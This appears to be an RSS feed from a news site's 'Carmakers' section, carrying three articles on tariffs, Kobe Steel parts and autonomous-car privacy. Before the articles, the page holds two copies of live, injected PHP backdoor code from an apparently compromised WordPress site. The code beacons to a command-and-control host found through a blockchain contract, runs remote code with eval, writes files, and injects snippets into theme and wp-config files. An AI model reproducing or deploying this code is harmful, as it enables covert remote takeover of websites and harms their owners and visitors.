// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Carmakers – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 05 Apr 2018 12:55:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Carmakers – Brief News https://briefnews.eu 32 32 German carmakers caught in crossfire of U.S.-China trade tensions https://briefnews.eu/german-carmakers-caught-in-crossfire-of-u-s-china-trade-tensions/ https://briefnews.eu/german-carmakers-caught-in-crossfire-of-u-s-china-trade-tensions/#respond Thu, 05 Apr 2018 12:55:45 +0000 http://briefnews.eu/german-carmakers-caught-in-crossfire-of-u-s-china-trade-tensions/ FRANKFURT — German carmakers BMW and Daimler are under increasing pressure to diversify production of their sports utility vehicles (SUVs) outside of the United States as a result of Washington’s growing trade tensions with China.

Beijing’s proposed 25 percent tax on U.S. car factory exports will hit nearly 270,000 vehicles, with German carmakers accounting for $ 7 billion of the $ 11 billion total.

“This is a tax on Southern Germany, not the U.S.,” analysts at Evercore ISI said on Thursday. “A 25 percent additional auto tariff would represent a $ 1.73 billion negative tariff impact directed at Southern Germany by China.”

BMW, the largest vehicle exporter from the United States in terms of value, has its largest factory in Spartanburg, North Carolina and faces a $ 965 million impact from tariffs, with Daimler exposed to a $ 765 million hit, Evercore ISI said.

The company makes its X3, X4, X5, X6 and X7 sports utility vehicles in Spartanburg, and the trade dispute will only add pressure to move production of volume sellers like the X5 to markets outside the United States, a senior BMW source said.

But any switch from one factory to another costs millions of euros, takes months to implement, and is taken with a long-term view, BMW board member Peter Schwarzenbauer said last month.

“We have to make decisions, like about factories in Spartanburg or factories in Mexico, which are based on a horizon of 20 to 30 years. If we were to change our strategy whenever a tweet comes out, we would get crazy,” he told Reuters.

DAIMLER-AGM/

Harmful for all

Around 18 percent of all BMWs sold in the world’s largest car market were exported from Spartanburg last year, a total of 100,203 cars and the carmaker warned that a further escalation of the trade row “would be harmful for all stakeholders”.

China has threatened to double tariffs to 50 percent on imported automobiles and other U.S.-made goods to retaliate against U.S. President Donald Trump’s proposed tariffs on products including vehicles and automotive parts.

“The BMW Group stands for free trade worldwide: Our company has a global production network and a global sales market,” it added in a statement late on Wednesday.

BMW this year quietly stopped exporting the X3 from the United States to China amid escalating trade tensions, moving the production footprint of the X3 to a plant in Rosslyn, South Africa and another in Shenyang, China.

“Thirty-five percent of those (vehicles) exported to China were the BMW X3, which is no longer exported from Spartanburg to China,” BMW said.

The move to ramp up production capacity in China also stems from tightening requirements by Chinese regulators to increase sourcing of components from local suppliers.

Daimler, parent company of Mercedes-Benz, declined to provide specific export figures from the United States to China and said: “We don’t speculate about ongoing negotiations. We are of course monitoring the situation closely.”

Other companies that will be affected include Tesla, which ships an estimated 15,000 cars a year to China from its California plant and Ford.

Decisions on whether and where to shift vehicle production could be complicated by moves to significantly revamp or withdraw from the North American Free Trade Agreement that allows tariff-free shipments of vehicles to the United States from Mexico and Canada.

BMW shares were trading up 0.55 percent at 87.9 euros at 1047 GMT, while Daimler stock was up 1.47 percent at 69.12 euros. Both lagged Germany’s blue-chip DAX index, which was 1.9 percent higher.

Reporting by Edward Taylor.

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]]> https://briefnews.eu/german-carmakers-caught-in-crossfire-of-u-s-china-trade-tensions/feed/ 0 Japan carmakers vouch for safety of some Kobe Steel parts https://briefnews.eu/japan-carmakers-vouch-for-safety-of-some-kobe-steel-parts/ https://briefnews.eu/japan-carmakers-vouch-for-safety-of-some-kobe-steel-parts/#respond Thu, 19 Oct 2017 13:19:54 +0000 http://briefnews.eu/japan-carmakers-vouch-for-safety-of-some-kobe-steel-parts/

TOKYO — Three Japanese automakers on Thursday said they found no safety issues with aluminum parts made by Kobe Steel, allaying some concerns that falsified quality data on products from the steelmaker had compromised their vehicles.

Kobe Steel shares surged after the carmakers’ statements, but the steelmaker still has to contend with a U.S. Justice Department probe, while checks continue at hundreds of companies involved in complex supply chains spanning the globe.

Japan’s third-biggest steelmaker admitted earlier this month it falsified specifications on the strength and durability of aluminum, copper and steel products, along with materials for optical disks. The falsifications stretch back for more than 10 years, a senior executive told Reuters this week.

Since then, global automakers, aircraft companies and other manufacturers have scrambled to identify potential hazards in their products.

Toyota, Honda and Mazda said that hoods and other exterior parts used in their cars which were made from aluminum directly supplied by Kobe Steel were safe.

Kobe Steel shares ended the day nearly 7 percent higher but are still down by more than a third since it announced the data falsification.

“We confirmed that the materials satisfy applicable statutory standards, and our own internal standard, for key safety and durability requirements for vehicles,” Toyota said in a statement.

Toyota, one of the world’s largest automakers, identified aluminum plates supplied by Kobe Steel for the hoods and rear hatches of Toyota and Lexus brand vehicles. Though outside the automaker’s specifications, they were still safe to use.

While other carmakers including Nissan said they were still investigating the issue, the announcements by Toyota, Honda and Mazda suggest that Kobe Steel’s cheating scandal may have a limited impact on product safety.

Nonetheless, the company’s fate hangs in the balance while checks are being carried out. It must report to Japan’s industry ministry by around the end of next week on any safety concerns and provide a more extensive account of the problems a fortnight later.

Industry leaders have reached a consensus that Kobe Steel is in a “serious situation,” a senior Japanese manufacturing executive told Reuters on Thursday.

“For a manufacturer, quality control is the most important thing and they were cheating for many years. This was a shock to their customers, who can no longer trust Kobe Steel,” he said.

This was the view of Japanese industry leaders, even though no safety issues have so far been identified, the executive said.

Kobe Steel customers will seek compensation for the cost of replacements and checks but “I do not think they are leaning toward lawsuits,” he said, adding as far as he had heard there will be no recalls.

Overseas customers, especially those in the U.S. present more of a threat though, in light of the Justice Department investigation.

“I would think there will be demands for quite a bit of compensation (from U.S. companies),” he said.

In Europe, aviation safety authorities earlier this week issued a directive advising aircraft manufacturers to avoid using Kobe Steel products if they can until checks are completed.

Japan’s Ministry of Land, Infrastructure, Transport and Tourism is planning to probe the safety of automobiles, trains and planes using Kobe Steel products, a ministry spokesman said on Thursday. The meeting will share information but its final scope and start date have not been finalised.

By Kazuhiko Tamaki and Naomi Tajitsu

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]]> https://briefnews.eu/japan-carmakers-vouch-for-safety-of-some-kobe-steel-parts/feed/ 0 Data collection and security flaws will challenge autonomous carmakers https://briefnews.eu/data-collection-and-security-flaws-will-challenge-autonomous-carmakers/ https://briefnews.eu/data-collection-and-security-flaws-will-challenge-autonomous-carmakers/#respond Sun, 15 Oct 2017 06:11:03 +0000 http://briefnews.eu/data-collection-and-security-flaws-will-challenge-autonomous-carmakers/

GUEST:

Autonomous vehicles are just around the bend. As car companies continue to partner with tech and ride-hailing firms in an effort to innovate more quickly and effectively, questions arise about the future of privacy in the age of driverless cars.

The biggest players in the automotive industry seem to have downplayed the fact that innovation and convenience will come at a price. In this case, the price will be consumer privacy. While addressing questions on safety, key representatives from leading car companies, ride-sharing service firms, as well as tech giants have been deflecting questions on privacy issues from non-profit consumer watchdog groups.

Do you have an AI strategy — or hoping to get one? Check out VB Summit on October 23-24 in Berkeley, a high-level, invite-only AI event for business leaders.

Yet in international meetings like those spearheaded by the World Economic Forum, the collective brains of various organizations have touched on the possible repercussions of spectacular advances in technology. Driverless cars are but one of these. A key message is that the very best entrepreneurial innovations come with dangers, like robbing people of humanity.

Massive data collection

For driverless cars to run efficiently and provide the most pleasant, hassle-free experience for passengers, a massive amount of data must be obtained and allowed to flow into the technology’s sophisticated sensors. Putting automated vehicles on the road entails learning everything about the environment and the consumers who will be using them. The more personalized driverless cars get — or the greater convenience such future innovations will offer – the more individual data must be incorporated into their services.

The big question is how the individual data will be used. This is a particular concern for the handling of personal and sensitive information that aid in the functionality of self-driving cars – such as real-time precise geolocation data and the contents of driver communications when drivers hook their mobile phones to the self-driving vehicle’s computer system.

Recently, the Washington, DC-headquartered Federal Trade Commission and the National Highway Traffic Safety Administration (NHTSA) held a workshop that examined consumer privacy and security issues posed by automated motor vehicles. The pivotal role that government agencies play in privacy and security issues related to connected vehicles were also discussed in this gathering of industry representatives, consumer advocates, academics, and government regulators.

The possibility of the enormous amount of autonomous vehicle data being exposed later on can be problematic, as lawmakers and other discerning groups including electronic privacy organizations noted, particularly if they end up becoming available for commercial use, for marketing purposes, or are simply used against consumers.

Senator Ed Markey from Massachusetts matter-of-factly asked during a Congressional hearing whether car manufacturers will be able to undertake a minimum standard for consumer privacy protection. Representatives from GM, Google and the ride-sharing service Lyft were non-committal.

Google’s chief legal counsel did cite that it may be early to jump to worst case scenarios or conclusions on how all the data will be handled. Getting self-driving cars in the operational stage is the main preoccupation now of various firms. Those at the forefront of actualizing driverless technologies have been collaborating and working the past several years to deliver consumer products that can safely transport people.

Yet from an outsider’s point of view, one of the imminent downsides of the future cars — or the price of convenience — is surveillance. This has been glossed over as several car manufacturers and their tech partners go high gear in coming out with their versions of driverless automobiles. Discussions, to this day, have focused more on the merits, notably social good – from reducing carbon dioxide emissions to lowering road fatalities – that self-driving cars can offer.

Yet there are firms that uphold the fact that privacy issues are very important. Amnon Shashua, co-founder of Israeli firm Mobileye which develops technologies to enable fully autonomous vehicles, opined that organizations like Google or Uber do realize that privacy issue matters and concerns need to be addressed.

